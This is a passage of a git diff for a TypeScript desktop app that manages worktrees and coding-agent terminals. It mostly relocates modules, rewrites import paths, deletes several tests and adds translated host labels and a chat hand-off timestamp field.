-    expect(useAppStore.getState().tabsByWorktree[FOLDER_KEY]).toHaveLength(1)
-    expect(useAppStore.getState().activeWorkspaceExecutionHostId).toBe(SSH_HOST_ID)
-  })
 })
diff --git a/src/renderer/src/lib/workspace/activation/worktree-activation-web-runtime.test.ts b/src/renderer/src/lib/workspace/activation/worktree-activation-web-runtime.test.ts
index b3a3f546979..f2793f95f15 100644
--- a/src/renderer/src/lib/workspace/activation/worktree-activation-web-runtime.test.ts
+++ b/src/renderer/src/lib/workspace/activation/worktree-activation-web-runtime.test.ts
@@ -76,38 +76,6 @@ describe('ensureWorktreeHasInitialTerminal', () => {
       command: 'gh issue view 42'
     })
   })
-
-  it('does not create a fallback while a backend startup terminal awaits mirroring', () => {
-    useAppStore.setState({
-      getKnownWorktreeById: ((id: string) =>
-        id === 'wt-1'
-          ? { id: 'wt-1' }
-          : undefined) as unknown as AppStoreState['getKnownWorktreeById']
-    } as Partial<AppStoreState>)
-    const store = createMockStore()
-
-    const result = ensureWorktreeHasInitialTerminal(
-      store,
-      'wt-1',
-      undefined,
-      undefined,
-      { command: 'gh issue view 42' },
-      undefined,
-      { backendStartupTerminalSpawned: true }
-    )
-
-    expect(result).toBeNull()
-    expect(store.createTab).not.toHaveBeenCalled()
-    expect(store.setActiveTab).not.toHaveBeenCalled()
-
-    useAppStore.setState({
-      tabsByWorktree: { 'wt-1': [{ id: 'mirror-tab-1' }] }
-    } as unknown as Partial<AppStoreState>)
-
-    expect(useAppStore.getState().pendingIssueCommandSplitByTabId['mirror-tab-1']).toEqual({
-      command: 'gh issue view 42'
-    })
-  })
 })
 
 it('accepts live paired startup through after-wake when initial seeding returns no primary tab', async () => {
diff --git a/src/renderer/src/lib/activity-thread-display.test.ts b/src/renderer/src/lib/workspace/activity/activity-thread-display.test.ts
similarity index 92%
rename from src/renderer/src/lib/activity-thread-display.test.ts
rename to src/renderer/src/lib/workspace/activity/activity-thread-display.test.ts
index 7c4c1df1eab..a0c035c49a0 100644
--- a/src/renderer/src/lib/activity-thread-display.test.ts
+++ b/src/renderer/src/lib/workspace/activity/activity-thread-display.test.ts
@@ -72,17 +72,6 @@ describe('getActivityThreadTaskTitle', () => {
 })
 
 describe('getActivityThreadStatusPreview', () => {
-  it('surfaces a failed turn as failed, not as its last reply', () => {
-    expect(
-      getActivityThreadStatusPreview({
-        state: 'done',
-        lastAssistantMessage: 'Done!',
-        mainAgent: { state: 'done', outcome: 'failure', stateStartedAt: 1 },
-        prompt: 'Ship it'
-      })
-    ).toBe('Failed')
-  })
-
   it('keeps a resolved tool off a finished row', () => {
     // Tool fields outlive their turn; showing them after completion implies work is still in flight.
     for (const state of ['done', 'blocked'] as const) {
diff --git a/src/renderer/src/lib/activity-thread-display.ts b/src/renderer/src/lib/workspace/activity/activity-thread-display.ts
similarity index 91%
rename from src/renderer/src/lib/activity-thread-display.ts
rename to src/renderer/src/lib/workspace/activity/activity-thread-display.ts
index b3386b56112..ce63c2de9ed 100644
--- a/src/renderer/src/lib/activity-thread-display.ts
+++ b/src/renderer/src/lib/workspace/activity/activity-thread-display.ts
@@ -1,17 +1,17 @@
-import type { AgentStateHistoryEntry } from '../../../shared/agent-status/lifecycle/agent-state-history'
+import type { AgentStateHistoryEntry } from '../../../../../shared/agent-status/lifecycle/agent-state-history'
 import type {
   AgentStatusEntry,
   AgentStatusState
-} from '../../../shared/agent-status/contracts/agent-status-types'
-import type { TerminalTab } from '../../../shared/workspace-layout/terminal-tab-types'
-import type { Worktree } from '../../../shared/worktree/types'
+} from '../../../../../shared/agent-status/contracts/agent-status-types'
+import type { TerminalTab } from '../../../../../shared/workspace-layout/terminal-tab-types'
+import type { Worktree } from '../../../../../shared/worktree/types'
 import {
   getAgentRowPrimaryText,
   isOrcaDispatchPrompt,
   orchestrationLabelsMatchLiveDispatch
-} from '../../../shared/agent-status/presentation/agent-row-primary-text'
-import { formatAgentToolPreview } from './agent-status/presentation/agent-row-tool-preview'
-import { agentVerdictStatusLine } from './agent-status/presentation/agent-verdict-status-line'
+} from '../../../../../shared/agent-status/presentation/agent-row-primary-text'
+import { formatAgentToolPreview } from '../../agent-status/presentation/agent-row-tool-preview'
+import { agentVerdictStatusLine } from '../../agent-status/presentation/agent-verdict-status-line'
 
 // Terse follow-ups such as “yes” are valid prompts but poor cross-worktree task labels.
 const TERSE_FOLLOW_UP_PATTERN =
diff --git a/src/renderer/src/lib/worktree-activity-state.ts b/src/renderer/src/lib/workspace/activity/worktree-activity-state.ts
similarity index 85%
rename from src/renderer/src/lib/worktree-activity-state.ts
rename to src/renderer/src/lib/workspace/activity/worktree-activity-state.ts
index 1a2c77300ce..b7f4d8d816f 100644
--- a/src/renderer/src/lib/worktree-activity-state.ts
+++ b/src/renderer/src/lib/workspace/activity/worktree-activity-state.ts
@@ -1,15 +1,15 @@
 import type { AppState } from '@/store/types'
-import { createAgentStatusEpochSelector } from './agent-status/evidence/agent-status-epoch-selector'
-import { tabHasLivePty } from '../../../shared/tab-has-live-pty'
-import type { TerminalTab } from '../../../shared/workspace-layout/terminal-tab-types'
-import { isFreshNonDoneAgentStatus } from '../../../shared/agent-status/contracts/agent-status-freshness'
-import type { AgentStatusEntry } from '../../../shared/agent-status/contracts/agent-status-types'
-import { resolveAgentStatusWorktreeId } from '../../../shared/agent-status/identity/agent-status-worktree-attribution'
+import { createAgentStatusEpochSelector } from '../../agent-status/evidence/agent-status-epoch-selector'
+import { tabHasLivePty } from '../../../../../shared/tab-has-live-pty'
+import type { TerminalTab } from '../../../../../shared/workspace-layout/terminal-tab-types'
+import { isFreshNonDoneAgentStatus } from '../../../../../shared/agent-status/contracts/agent-status-freshness'
+import type { AgentStatusEntry } from '../../../../../shared/agent-status/contracts/agent-status-types'
+import { resolveAgentStatusWorktreeId } from '../../../../../shared/agent-status/identity/agent-status-worktree-attribution'
 import {
   liveAgentStatusOf,
   strongerLiveAgentStatus,
   type LiveAgentWorktreeStatus
-} from '../../../shared/sidebar-list/workspace-activity-facts'
+} from '../../../../../shared/sidebar-list/workspace-activity-facts'
 
 type TerminalLikeTab = Pick<TerminalTab, 'id'>
 type BrowserLikeTab = { id: string }
@@ -17,7 +17,6 @@ type BrowserLikeTab = { id: string }
 type TabsByWorktree = Record<string, readonly TerminalLikeTab[]>
 type PtyIdsByTabId = Record<string, string[]>
 type BrowserTabsByWorktree = Record<string, readonly BrowserLikeTab[]>
-export type { LiveAgentWorktreeStatus }
 
 const EMPTY_WORKTREE_IDS: ReadonlySet<string> = new Set()
 
diff --git a/src/renderer/src/lib/worktree-status.ts b/src/renderer/src/lib/workspace/activity/worktree-status.ts
similarity index 91%
rename from src/renderer/src/lib/worktree-status.ts
rename to src/renderer/src/lib/workspace/activity/worktree-status.ts
index 15f033f11c4..0fbd04d9bf4 100644
--- a/src/renderer/src/lib/worktree-status.ts
+++ b/src/renderer/src/lib/workspace/activity/worktree-status.ts
@@ -1,24 +1,25 @@
 import { translate } from '@/i18n/i18n'
 import { resolveAgentTypeFromTerminalTitle } from '@/components/sidebar/workspace-card/activity/worktree-title-derived-agent-rows'
-import { detectAgentStatusFromTitle } from '../../../shared/agent-status/title/agent-title-status'
-import { tabHasLivePty } from '../../../shared/tab-has-live-pty'
+import { detectAgentStatusFromTitle } from '../../../../../shared/agent-status/title/agent-title-status'
+import { tabHasLivePty } from '../../../../../shared/tab-has-live-pty'
 import {
   collectRuntimePaneLeafIds,
   isRuntimePaneTitleOrphan,
   resolveRuntimePaneTitleLeafIdFromRoot
-} from '../../../shared/runtime-pane-title-leaf-id'
-import { containsAgentSpinnerGlyph } from '../../../shared/agent-status/title/agent-title-glyphs'
-import { isSyntheticAgentPermissionTitle } from '../../../shared/agent-status/title/synthetic-agent-title'
+} from '../../../../../shared/runtime-pane-title-leaf-id'
+import { containsAgentSpinnerGlyph } from '../../../../../shared/agent-status/title/agent-title-glyphs'
+import { isSyntheticAgentPermissionTitle } from '../../../../../shared/agent-status/title/synthetic-agent-title'
 import type {
   TerminalLayoutSnapshot,
   TerminalPaneLayoutNode,
   TerminalTab
-} from '../../../shared/workspace-layout/terminal-tab-types'
-import type { TuiAgent } from '../../../shared/agent-launch/catalog/tui-agent'
-import type { LiveAgentWorktreeStatus } from './worktree-activity-state'
-import { rankWorktreeStatus, type WorktreeStatus } from '../../../shared/worktree-status-rollup'
-
-export type { WorktreeStatus } from '../../../shared/worktree-status-rollup'
+} from '../../../../../shared/workspace-layout/terminal-tab-types'
+import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent'
+import type { LiveAgentWorktreeStatus } from '../../../../../shared/sidebar-list/workspace-activity-facts'
+import {
+  rankWorktreeStatus,
+  type WorktreeStatus
+} from '../../../../../shared/worktree-status-rollup'
 
 type WorktreeStatusHeuristicOptions = {
   liveAgentStatus?: LiveAgentWorktreeStatus
diff --git a/src/renderer/src/lib/repo-search.ts b/src/renderer/src/lib/workspace/catalog/repo-search.ts
similarity index 90%
rename from src/renderer/src/lib/repo-search.ts
rename to src/renderer/src/lib/workspace/catalog/repo-search.ts
index 302b95a8561..2119e826486 100644
--- a/src/renderer/src/lib/repo-search.ts
+++ b/src/renderer/src/lib/workspace/catalog/repo-search.ts
@@ -1,5 +1,5 @@
-import type { Repo } from '../../../shared/repo-types'
-import { isClipboardTextByteLengthOverLimit } from '../../../shared/clipboard-text'
+import type { Repo } from '../../../../../shared/repo-types'
+import { isClipboardTextByteLengthOverLimit } from '../../../../../shared/clipboard-text'
 
 // Path scores must exceed every display-name score; choose an offset above realistic display-name lengths.
 const PATH_SCORE_OFFSET = 1000
diff --git a/src/renderer/src/lib/repo-slug-cache.ts b/src/renderer/src/lib/workspace/catalog/repo-slug-cache.ts
similarity index 93%
rename from src/renderer/src/lib/repo-slug-cache.ts
rename to src/renderer/src/lib/workspace/catalog/repo-slug-cache.ts
index 649f0824ea8..3177e279f23 100644
--- a/src/renderer/src/lib/repo-slug-cache.ts
+++ b/src/renderer/src/lib/workspace/catalog/repo-slug-cache.ts
@@ -1,11 +1,11 @@
 // Keep synchronous slug cache separate from repo-slug-index so store callers avoid its @/store import cycle.
-import type { Repo } from '../../../shared/repo-types'
-import type { RuntimeClientTarget } from '../../../shared/runtime-client-target'
-import { runtimeTargetForRepoOwner } from './workspace/ownership/repo-runtime-owner'
+import type { Repo } from '../../../../../shared/repo-types'
+import type { RuntimeClientTarget } from '../../../../../shared/runtime-client-target'
+import { runtimeTargetForRepoOwner } from '../ownership/repo-runtime-owner'
 import {
   githubRepoIdentityKey,
   repoUpstreamIdentityKey
-} from '../../../shared/github/repository-identity-key'
+} from '../../../../../shared/github/repository-identity-key'
 
 /** Lowercased `owner/repo` → Repo[]. */
 export type SlugIndex = Map<string, Repo[]>
diff --git a/src/renderer/src/lib/repo-slug-index.ts b/src/renderer/src/lib/workspace/catalog/repo-slug-index.ts
similarity index 96%
rename from src/renderer/src/lib/repo-slug-index.ts
rename to src/renderer/src/lib/workspace/catalog/repo-slug-index.ts
index dfc7a5cbfb9..0070e4d9009 100644
--- a/src/renderer/src/lib/repo-slug-index.ts
+++ b/src/renderer/src/lib/workspace/catalog/repo-slug-index.ts
@@ -1,7 +1,7 @@
 // Index project owner/repo slugs to path-backed Repo rows lazily via owner-routed gh.repoSlug. Exclude unresolved repos and retain unknown-repo fallback; rebuild on catalog changes, with cached main-process remote resolution.
 import { useEffect, useMemo, useRef, useState } from 'react'
-import { useAppStore } from '@/store'
-import type { Repo } from '../../../shared/repo-types'
+import { useAppStore } from '@/store/index'
+import type { Repo } from '../../../../../shared/repo-types'
 import { callRuntimeRpc } from '@/runtime/rpc/calls/runtime-rpc-call'
 import {
   deleteRepoSlugCacheKey,
@@ -18,10 +18,8 @@ import {
 import {
   githubRepoIdentityKey,
   repoUpstreamIdentityKey
-} from '../../../shared/github/repository-identity-key'
-import { createBoundedGenerationMap } from './bounded-generation-map'
-
-export { lookupReposBySlugFromCache } from './repo-slug-cache'
+} from '../../../../../shared/github/repository-identity-key'
+import { createBoundedGenerationMap } from '../../bounded-generation-map'
 
 const slugResolutionInFlight = new Map<string, Promise<string | null>>()
 
diff --git a/src/renderer/src/lib/repo-ssh-connection.ts b/src/renderer/src/lib/workspace/catalog/repo-ssh-connection.ts
similarity index 92%
rename from src/renderer/src/lib/repo-ssh-connection.ts
rename to src/renderer/src/lib/workspace/catalog/repo-ssh-connection.ts
index 123d1610db4..6e507a27540 100644
--- a/src/renderer/src/lib/repo-ssh-connection.ts
+++ b/src/renderer/src/lib/workspace/catalog/repo-ssh-connection.ts
@@ -7,9 +7,9 @@ import {
   getRepoExecutionHostId,
   getRepoSshConnectionId,
   parseExecutionHostId
-} from '../../../shared/execution-host'
-import type { Repo } from '../../../shared/repo-types'
-import type { SshConnectionStatus } from '../../../shared/ssh-types'
+} from '../../../../../shared/execution-host'
+import type { Repo } from '../../../../../shared/repo-types'
+import type { SshConnectionStatus } from '../../../../../shared/ssh-types'
 
 /** The SSH target holding a repo's files; `environmentId` is the paired server that owns it. */
 export type RepoSshConnection = { environmentId: string | null; targetId: string }
diff --git a/src/renderer/src/lib/workspace/creation/pending-worktree-creation.ts b/src/renderer/src/lib/workspace/creation/pending-worktree-creation.ts
index c30a0aedb3b..0c89e0af4ec 100644
--- a/src/renderer/src/lib/workspace/creation/pending-worktree-creation.ts
+++ b/src/renderer/src/lib/workspace/creation/pending-worktree-creation.ts
@@ -176,6 +176,8 @@ export type PendingWorktreeCreation = {
   heldChatSkills?: readonly AgentJournalSkillRef[]
   /** The launch owns the captured input until its replacement surface is published. */
   chatInputHandedOff?: boolean
+  /** When the worktree was ready and the chat's agent began starting. */
+  chatHandedOffAt?: number
   request: WorktreeCreationRequest
 }
 
diff --git a/src/renderer/src/lib/workspace/creation/project-clone-url-prefill.test.ts b/src/renderer/src/lib/workspace/creation/project-clone-url-prefill.test.ts
deleted file mode 100644
index d8b0b0e19bd..00000000000
--- a/src/renderer/src/lib/workspace/creation/project-clone-url-prefill.test.ts
+++ /dev/null
@@ -1,36 +0,0 @@
-import { describe, expect, it } from 'vitest'
-import type { Project } from '../../../../../shared/project-types'
-import type { Repo } from '../../../../../shared/repo-types'
-import { resolveProjectCloneUrlPrefill } from './project-clone-url-prefill'
-
-function project(sourceRepoIds: string[]): Project {
-  return { id: 'project-orca', sourceRepoIds } as unknown as Project
-}
-
-function repo(id: string, remoteUrl: string): Repo {
-  return { id, gitRemoteIdentity: { remoteUrl } } as unknown as Repo
-}
-
-describe('resolveProjectCloneUrlPrefill', () => {
-  it('strips an embedded token so it is never cloned onto another host', () => {
-    // The clone runs on the target host and would persist this into .git/config.
-    const prefill = resolveProjectCloneUrlPrefill(
-      [project(['repo-1'])],
-      [repo('repo-1', 'https://x-access-token:ghp_ABC123@github.com/acme/orca.git')],
-      'project-orca'
-    )
-
-    expect(prefill).toBe('https://github.com/acme/orca.git')
-    expect(prefill).not.toContain('ghp_ABC123')
-  })
-
-  it('keeps the first duplicate repo authoritative when building the fallback index', () => {
-    expect(
-      resolveProjectCloneUrlPrefill(
-        [project(['missing', 'duplicate'])],
-        [repo('duplicate', ''), repo('duplicate', 'https://gitlab.com/acme/repo.git')],
-        'project-orca'
-      )
-    ).toBe('')
-  })
-})
diff --git a/src/renderer/src/lib/workspace/creation/project-host-setup-options.ts b/src/renderer/src/lib/workspace/creation/project-host-setup-options.ts
index 9859258304a..e0cf589ede0 100644
--- a/src/renderer/src/lib/workspace/creation/project-host-setup-options.ts
+++ b/src/renderer/src/lib/workspace/creation/project-host-setup-options.ts
@@ -19,6 +19,7 @@ import type { ProjectHostSetup } from '../../../../../shared/project-types'
 import type { Repo } from '../../../../../shared/repo-types'
 import { translate } from '@/i18n/i18n'
 import type { Translate } from '@/i18n/use-translate'
+import { translateHostDisplayLabel } from '@/components/sidebar/execution-host-label'
 import {
   dedupeReadySetupRows,
   type SelectedProjectHostSetup
@@ -161,7 +162,9 @@ function buildReadySetupOptions({
       projectId: setup.projectId,
       hostId: setup.hostId,
       repoId: setup.repoId,
-      label: hostById.get(setup.hostId)?.label || getExecutionHostLabel(setup.hostId),
+      label: hostById.get(setup.hostId)
+        ? translateHostDisplayLabel(hostById.get(setup.hostId)!)
+        : getExecutionHostLabel(setup.hostId),
       detail: setup.displayName,
       path: setup.path
     }))
@@ -196,10 +199,15 @@ function buildNeedsSetupOptions({
         kind: 'needs-setup' as const,
         projectId,
         hostId: host.id,
-        label: host.label || getExecutionHostLabel(host.id),
+        label: host.label ? translateHostDisplayLabel(host) : getExecutionHostLabel(host.id),
         detail:
           unavailableDetail ??
-          (pendingSetup ? getPendingSetupDetail(pendingSetup) : 'Project location not set'),
+          (pendingSetup
+            ? getPendingSetupDetail(pendingSetup)
+            : translate(
+                'auto.lib.projectHostSetupOptions.locationNotSet',
+                'Project location not set'
+              )),
         isAvailable,
         attention: host.health === 'error',
         canSetLocation: canSetProjectLocation(projectId, isAvailable, pendingSetup),
diff --git a/src/renderer/src/lib/run-target-host-visibility.ts b/src/renderer/src/lib/workspace/creation/run-target-host-visibility.ts
similarity index 66%
rename from src/renderer/src/lib/run-target-host-visibility.ts
rename to src/renderer/src/lib/workspace/creation/run-target-host-visibility.ts
index a022c851913..28814a3610a 100644
--- a/src/renderer/src/lib/run-target-host-visibility.ts
+++ b/src/renderer/src/lib/workspace/creation/run-target-host-visibility.ts
@@ -1,6 +1,6 @@
-import type { ExecutionHostId } from '../../../shared/execution-host'
-import type { ExecutionHostRegistryEntry } from '../../../shared/execution-host/execution-host-registry-entry'
-import { isEphemeralVmProjectHost } from './workspace/creation/project-host-setup-options'
+import type { ExecutionHostId } from '../../../../../shared/execution-host'
+import type { ExecutionHostRegistryEntry } from '../../../../../shared/execution-host/execution-host-registry-entry'
+import { isEphemeralVmProjectHost } from './project-host-setup-options'
 
 /** Run on never lists per-workspace VMs, so Create waits for a visible host; a VM recipe creates a new VM instead. */
 export function needsVisibleRunTargetHost(
diff --git a/src/renderer/src/lib/client-creation-action-error.ts b/src/renderer/src/lib/workspace/creation/surface-policy/client-creation-action-error.ts
similarity index 75%
rename from src/renderer/src/lib/client-creation-action-error.ts
rename to src/renderer/src/lib/workspace/creation/surface-policy/client-creation-action-error.ts
index b61b358382b..1ec40797871 100644
--- a/src/renderer/src/lib/client-creation-action-error.ts
+++ b/src/renderer/src/lib/workspace/creation/surface-policy/client-creation-action-error.ts
@@ -1,9 +1,7 @@
 import { toast } from 'sonner'
-import { useAppStore } from '@/store'
-import {
-  getClientCreationActionPolicy,
-  type ClientCreationAction
-} from './client-creation-action-policy'
+import { useAppStore } from '@/store/index'
+import { getClientCreationActionPolicy } from './client-creation-action-policy'
+import type { ClientCreationAction } from './client-creation-action-policy'
 
 export function showClientCreationActionError(error: unknown): void {
   toast.error(error instanceof Error ? error.message : String(error))
diff --git a/src/renderer/src/lib/client-creation-action-policy.ts b/src/renderer/src/lib/workspace/creation/surface-policy/client-creation-action-policy.ts
similarity index 87%
rename from src/renderer/src/lib/client-creation-action-policy.ts
rename to src/renderer/src/lib/workspace/creation/surface-policy/client-creation-action-policy.ts
index 6783a207d40..db67e602f4c 100644
--- a/src/renderer/src/lib/client-creation-action-policy.ts
+++ b/src/renderer/src/lib/workspace/creation/surface-policy/client-creation-action-policy.ts
@@ -1,16 +1,14 @@
-import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/constants'
-import '../../../shared/protocol-version'
-import { BROWSER_SCREENCAST_RUNTIME_CAPABILITY } from '../../../shared/browser/runtime/browser-runtime-capabilities'
-import type { RuntimeStatus } from '../../../shared/runtime-session-contracts'
+import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants'
+import '../../../../../../shared/protocol-version'
+import { BROWSER_SCREENCAST_RUNTIME_CAPABILITY } from '../../../../../../shared/browser/runtime/browser-runtime-capabilities'
+import { isPairedWebClientWindow } from '../../../../app-shell/chrome/desktop-window-chrome'
+import { runtimeEnvironmentIdOrLocalUnlessTwin } from '../../ownership/worktree-runtime-owner'
+import { expectsBrowserClientHosting } from '../../../../../../shared/browser/client-hosting/browser-client-hosting-eligibility'
+import { getOrcadSshDeployment } from '../../../../../../shared/remote-runtime/host-catalog/runtime-environments'
+import type { PublicKnownRuntimeEnvironment } from '../../../../../../shared/remote-runtime/host-catalog/runtime-environments'
+import type { RuntimeStatus } from '../../../../../../shared/runtime-session-contracts'
 import type { AppState } from '@/store/types'
-import { isPairedWebClientWindow } from './desktop-window-chrome'
-import { runtimeEnvironmentIdOrLocalUnlessTwin } from './workspace/ownership/worktree-runtime-owner'
-import { expectsBrowserClientHosting } from '../../../shared/browser/client-hosting/browser-client-hosting-eligibility'
-import {
-  getOrcadSshDeployment,
-  type PublicKnownRuntimeEnvironment
-} from '../../../shared/remote-runtime/host-catalog/runtime-environments'
-import type { GlobalSettings } from '../../../shared/global-settings-types'
+import type { GlobalSettings } from '../../../../../../shared/global-settings-types'
 
 export const MANAGED_BROWSER_UNAVAILABLE_MESSAGE =
   "Managed browser tabs are unavailable because this web client's paired runtime does not support browser streaming."
diff --git a/src/renderer/src/lib/workspace/creation/work-item/direct-work-item-setup-callers.test.tsx b/src/renderer/src/lib/workspace/creation/work-item/direct-work-item-setup-callers.test.tsx
deleted file mode 100644
index f2c64d87a68..00000000000
--- a/src/renderer/src/lib/workspace/creation/work-item/direct-work-item-setup-callers.test.tsx
+++ /dev/null
@@ -1,332 +0,0 @@
-// @vitest-environment happy-dom
-import { readDirectSetupRequest } from '@/lib/workspace/creation/work-item/direct-work-item-setup-test-fixture'
-import { afterEach, beforeEach, expect, it, vi } from 'vitest'
-import { act, cleanup, fireEvent, render, screen } from '@testing-library/react'
-import { hostMocks, mocks } from './launch-work-item-direct-test-fixture'
-import { useAppStore } from '@/store/index'
-import { createUIStore } from '@/store/slices/ui/ui-slice-test-harness'
-import type { DirectWorkItemSetupRequest } from './direct-work-item-setup'
-import type { GitHubProjectTable } from '../../../../../../shared/github/project-types'
-import type { GitHubWorkItem } from '../../../../../../shared/github/work-item-types'
-import {
-  fixBrokenPullRequestChecks,
-  startFixChecksFromDialog
-} from '@/components/pull-request-page/checks/fix-launch'
-import * as preflight from './launch-work-item-direct-preflight'
-import * as preparation from './launch-work-item-direct-route-preparation'
-import { createCompatibleRuntimeStatusResponse } from '@/runtime/rpc/testing/runtime-compatibility-test-fixture'
-import { buildAgentDraftLaunchPlan } from '../../../../../../shared/agent-launch/startup/tui-agent-startup'
-import ProjectViewWrapper from '@/components/github-project/ProjectViewWrapper'
-
-const links = vi.hoisted(() => ({ open: vi.fn() }))
-vi.mock('@/lib/browser/navigation/app-http-link-open', () => ({ openAppHttpLink: links.open }))
-vi.mock('@/lib/repo-slug-index', () => ({
-  useRepoSlugIndex: () => ({
-    ready: true,
-    lookupSlug: () => mocks.store.repos,
-    lookupSlugMatches: () => ({ origin: mocks.store.repos, upstream: [] })
-  })
-}))
-vi.mock('@/components/github-project/useProjectRowMutations', () => ({
-  useProjectRowMutations: () => ({})
-}))
-vi.mock('@/components/github-project/useProjectViewTable', () => ({
-  useProjectViewTable: () => ({
-    activeProject: table.project,
-    table,
-    visibleTable: table,
-    currentCacheKey: 'local:project-1',
-    sourceTarget: { kind: 'ipc' },
-    views: []
-  })
-}))
-vi.mock('@/components/github-project/ProjectViewToolbar', () => ({
-  ProjectViewToolbar: () => null
-}))
-vi.mock('@/components/github-project/ProjectViewStates', () => ({
-  ProjectViewTabStrip: () => null
-}))
-vi.mock('@/components/github-project/ProjectItemSlugDialog', () => ({ default: () => null }))
-vi.mock('@/components/github-project/ProjectMissingRepoDialog', () => ({
-  ProjectMissingRepoDialog: () => null
-}))
-vi.mock('@/components/github-project/ProjectBoard', () => ({ default: () => null }))
-vi.mock('@/components/github-project/ProjectRoadmap', () => ({ default: () => null }))
-vi.mock('@/components/github-project/ProjectViewList', () => ({
-  default: (p: {
-    onStartWork: (row: GitHubProjectTable['rows'][number]) => void
-    onOpenDialog: (row: GitHubProjectTable['rows'][number]) => void
-  }) => (
-    <>
-      <button onClick={() => p.onStartWork(table.rows[0])}>Start work</button>
-      <button onClick={() => p.onOpenDialog(table.rows[0])}>Open item</button>
-    </>
-  )
-}))
-vi.mock('@/components/GitHubItemDialog', () => ({
-  default: (p: { onUse: (item: GitHubWorkItem) => void; workItem: GitHubWorkItem }) => (
-    <button onClick={() => p.onUse(p.workItem)}>Use item</button>
-  )
-}))
-
-const item: GitHubWorkItem = {
-  id: 'pr-42',
-  state: 'open',
-  labels: [],
-  updatedAt: '',
-  author: null,
-  repoId: 'repo-1',
-  type: 'pr',
-  number: 42,
-  title: 'Fix checks',
-  url: 'https://github.com/acme/repo/pull/42'
-}
-const table: GitHubProjectTable = {
-  project: {
-    id: 'project-1',
-    host: 'github.com',
-    owner: 'acme',
-    ownerType: 'organization',
-    number: 1,
-    title: 'Board',
-    url: 'https://github.com/orgs/acme/projects/1'
-  },
-  selectedView: {
-    id: 'view-1',
-    number: 1,
-    name: 'All',
-    layout: 'TABLE_LAYOUT',
-    filter: '',
-    fields: [],
-    groupByFields: [],
-    sortByFields: []
-  },
-  rows: [
-    {
-      id: 'item-1',
-      itemType: 'PULL_REQUEST',
-      content: {
-        number: 42,
-        title: item.title,
-        url: item.url,
-        body: null,
-        state: 'OPEN',
-        stateReason: null,
-        isDraft: false,
-        repository: 'acme/repo',
-        assignees: [],
-        labels: [],
-        parentIssue: null,
-        issueType: null
-      },
-      fieldValuesByFieldId: {},
-      updatedAt: '',
-      position: 0
-    }
-  ],
-  totalCount: 1,
-  parentFieldDropped: false
-}
-let unsubscribe: () => void
-beforeEach(() => {
-  const ui = createUIStore()
-  useAppStore.setState({
-    openModal: ui.getState().openModal,
-    closeModal: ui.getState().closeModal,
-    modalData: {},
-    allWorktrees: () => [],
-    repos: [
-      {
-        ...useAppStore.getState().repos[0],
-        hookSettings: { mode: 'auto', scripts: { setup: '', archive: '' }, setupRunPolicy: 'ask' }
-      }
-    ]
-  })
-  unsubscribe = ui.subscribe(({ activeModal, modalData }) =>
-    useAppStore.setState({ activeModal, modalData })
-  )
-  hostMocks.checkRuntimeHooks.mockResolvedValue({
-    hasHooks: true,
-    hooks: { scripts: { setup: 'echo setup' } },
-    mayNeedUpdate: false
-  })
-  links.open.mockClear()
-})
-afterEach(() => {
-  cleanup()
-  useAppStore.getState().closeModal()
-  unsubscribe()
-})
-async function pending(): Promise<DirectWorkItemSetupRequest> {
-  await vi.waitFor(() => expect(useAppStore.getState().activeModal).toBe('new-workspace-composer'))
-  expect(mocks.createWorktree).not.toHaveBeenCalled()
-  expect(mocks.toastError).not.toHaveBeenCalled()
-  expect(links.open).not.toHaveBeenCalled()
-  return readDirectSetupRequest(useAppStore.getState().modalData.directSetup)
-}
-
-it('retains an edited Fix checks request through the PR-page Start handoff', async () => {
-  const review = vi.fn()
-  const check = {
-    name: 'CI',
-    status: 'completed' as const,
-    conclusion: 'failure' as const,
-    url: null
-  }
-  await fixBrokenPullRequestChecks({
-    targetRepoId: 'repo-1',
-    fixingChecks: false,
-    failedChecks: [check],
-    list: [check],
-    item,
-    setFixingChecks: vi.fn(),
-    setFixChecksComposerPrompt: review
-  })
-  expect(review).toHaveBeenCalledWith(expect.stringContaining(item.url))
-  expect(useAppStore.getState().activeModal).not.toBe('new-workspace-composer')
-  expect(mocks.createWorktree).not.toHaveBeenCalled()
-  const plan = vi.spyOn(preflight, 'planDirectWorkItemLaunch')
-  const dispatch = vi.spyOn(preparation, 'prepareDirectWorkItemAgentLaunch')
-  useAppStore.setState({
-    repos: [{ ...useAppStore.getState().repos[0], executionHostId: 'runtime:env-b' }],
-    runtimeStatusByEnvironmentId: new Map([
-      [
-        'env-b',
-        {
-          checkedAt: 1,
-          status: { ...createCompatibleRuntimeStatusResponse().result, hostPlatform: 'linux' }
-        }
-      ]
-    ]),
-    ensureRuntimeDetectedAgents: vi.fn().mockResolvedValue(['claude'])
-  })
-  hostMocks.callRuntimeRpc.mockResolvedValue({
-    baseBranch: 'abc123',
-    compareBaseRef: 'refs/remotes/origin/main',
-    headSha: 'abc123',
-    branchNameOverride: 'feature/fix',
-    pushTarget: { remoteName: 'origin', branchName: 'feature/fix' }
-  })
-  const launch = startFixChecksFromDialog({
-    targetRepoId: 'repo-1',
-    item,
-    agent: 'claude',
-    agentArgs: '--model opus',
-    commandInput: 'My edited prompt',
-    sessionOptions: { model: 'claude-opus-5-5[1m]' },
-    sessionOptionsYieldToAgentArgs: true,
-    agentLaunchPreferences: {
-      defaultTuiAgent: 'codex',
-      disabledTuiAgents: []
-    },
-    launchChoice: { requestedSurface: 'terminal', executionHostId: 'runtime:env-b' }
-  })
-  ;(await pending()).choose('run')
-  await expect(launch).resolves.toBe(true)
-  expect(hostMocks.callRuntimeRpc).toHaveBeenCalledWith(
-    { kind: 'environment', environmentId: 'env-b' },
-    'worktree.resolvePrBase',
-    expect.objectContaining({ prNumber: 42 }),
-    expect.anything()
-  )
-  expect(plan).toHaveBeenCalledWith(
-    expect.objectContaining({
-      repoOwnerHostId: 'runtime:env-b',
-      prospectiveAgent: 'claude',
-      draftContent: 'My edited prompt',
-      sessionOptions: { model: 'claude-opus-5-5[1m]' },
-      launchChoice: { requestedSurface: 'terminal', executionHostId: 'runtime:env-b' }
-    })
-  )
-  expect(dispatch).toHaveBeenCalledWith(
-    expect.objectContaining({
-      agentOverride: 'claude',
-      sessionOptionsYieldToAgentArgs: true,
-      agentLaunchPreferences: { defaultTuiAgent: 'codex', disabledTuiAgents: [] },
-      agentArgs: '--model opus',
-      sessionOptions: { model: 'claude-opus-5-5[1m]' },
-      draftContent: 'My edited prompt',
-      launchChoice: { requestedSurface: 'terminal', executionHostId: 'runtime:env-b' }
-    })
